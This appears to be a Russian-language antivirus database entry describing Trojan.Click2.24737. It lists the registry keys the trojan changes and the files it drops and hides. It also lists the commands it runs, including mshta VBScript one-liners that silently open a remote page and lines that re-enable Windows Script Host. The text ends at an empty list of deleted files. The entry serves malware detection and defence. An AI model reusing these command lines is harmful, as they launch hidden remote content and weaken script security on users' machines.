Trojan.Click2.24737

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Handler\file] 'CLSID' = '{79eac9e7-baf9-11ce-8c82-00aa004ba90b}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Handler\local] 'CLSID' = '{79eac9e7-baf9-11ce-8c82-00aa004ba90b}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Handler\mk] 'CLSID' = '{79eac9e6-baf9-11ce-8c82-00aa004ba90b}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Handler\gopher] 'CLSID' = '{79eac9e4-baf9-11ce-8c82-00aa004ba90b}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Handler\https] 'CLSID' = '{79eac9e5-baf9-11ce-8c82-00aa004ba90b}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Filter\Class Install Handler] 'CLSID' = '{32B533BB-EDAE-11d0-BD5A-00AA00B92AF1}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Handler\cdl] 'CLSID' = '{3dd53d40-7b8b-11D0-b013-00aa0059ce02}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Filter\gzip] 'CLSID' = '{8f6b0360-b80d-11d0-a9b3-006097942311}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Filter\lzdhtml] 'CLSID' = '{8f6b0360-b80d-11d0-a9b3-006097942311}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Filter\deflate] 'CLSID' = '{8f6b0360-b80d-11d0-a9b3-006097942311}'
[<HKLM>\SOFTWARE\Classes\JSFile\Shell\Open\Command] '' = ''
[<HKLM>\SOFTWARE\Classes\JSEFile\Shell\Open\Command] '' = ''
[<HKLM>\SOFTWARE\Classes\VBEFile\Shell\Open\Command] '' = ''
[<HKLM>\SOFTWARE\Classes\WSHFile\Shell\Open\Command] '' = ''
[<HKLM>\SOFTWARE\Classes\VBSFile\Shell\Open\Command] '' = ''
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Handler\http] 'CLSID' = '{79eac9e2-baf9-11ce-8c82-00aa004ba90b}'
[<HKLM>\SOFTWARE\Classes\PROTOCOLS\Handler\ftp] 'CLSID' = '{79eac9e3-baf9-11ce-8c82-00aa004ba90b}'
[<HKLM>\SOFTWARE\Classes\MSProgramGroup\Shell\Open\Command] '' = '<SYSTEM32>\grpconv.exe %1'
[<HKLM>\SOFTWARE\Classes\WSFFile\Shell\Open\Command] '' = ''
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'GrpConv' = 'grpconv -o'

Вредоносные функции:

Создает и запускает на исполнение:

%TEMP%\HCMD.EXE CQXZ.CMD

Запускает на исполнение:

<SYSTEM32>\mshta.exe vbscript:createobject("wscript.shell").run("""%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE"" http://ca#######.hzserver23.gxidc.com/z/cqxz.htm",0)(window.close)
<SYSTEM32>\cmd.exe /c ""%TEMP%\CQXZ.CMD" kyo_PE-win32shell_ping"
<SYSTEM32>\mshta.exe vbscript:createobject("wscript.shell").run("""CQXZ.CMD"" kyo_PE-win32shell_ping",0)(window.close)
<SYSTEM32>\findstr.exe /i "Content.IE5"
%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://ca#######.hzserver23.gxidc.com/z/cqxz.htm
<SYSTEM32>\ping.exe 127.0.0.1 -n 15
<SYSTEM32>\regsvr32.exe scrrun.dll urlmon.dll shdocvw.dll jscript.dll vbscript.dll /s
<SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows" "Script" "Host\Settings /v Enabled /t REG_DWORD /d 1 /f
<SYSTEM32>\mode.com con: cols=13 lines=1
<SYSTEM32>\cmd.exe /c CQXZ.CMD
<SYSTEM32>\grpconv.exe -o
<SYSTEM32>\runonce.exe -r
<SYSTEM32>\rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %WINDIR%\\inf\\wsh.inf

Изменения в файловой системе:

Создает следующие файлы:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\994RW4PL\desktop.ini
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\UJS7Y92B\desktop.ini
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\G5QV4XYZ\desktop.ini
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\UJS7Y92B\cqxz[1].htm
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\8LY74TAF\desktop.ini
%TEMP%\HCMD.EXE
%TEMP%\CQXZ.CMD
%TEMP%\RGI1.tmp
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini
%TEMP%\RGI2.tmp

Присваивает атрибут 'скрытый' для следующих файлов:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\G5QV4XYZ\desktop.ini
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\8LY74TAF\desktop.ini
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\UJS7Y92B\desktop.ini
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\994RW4PL\desktop.ini

Удаляет следующие файлы: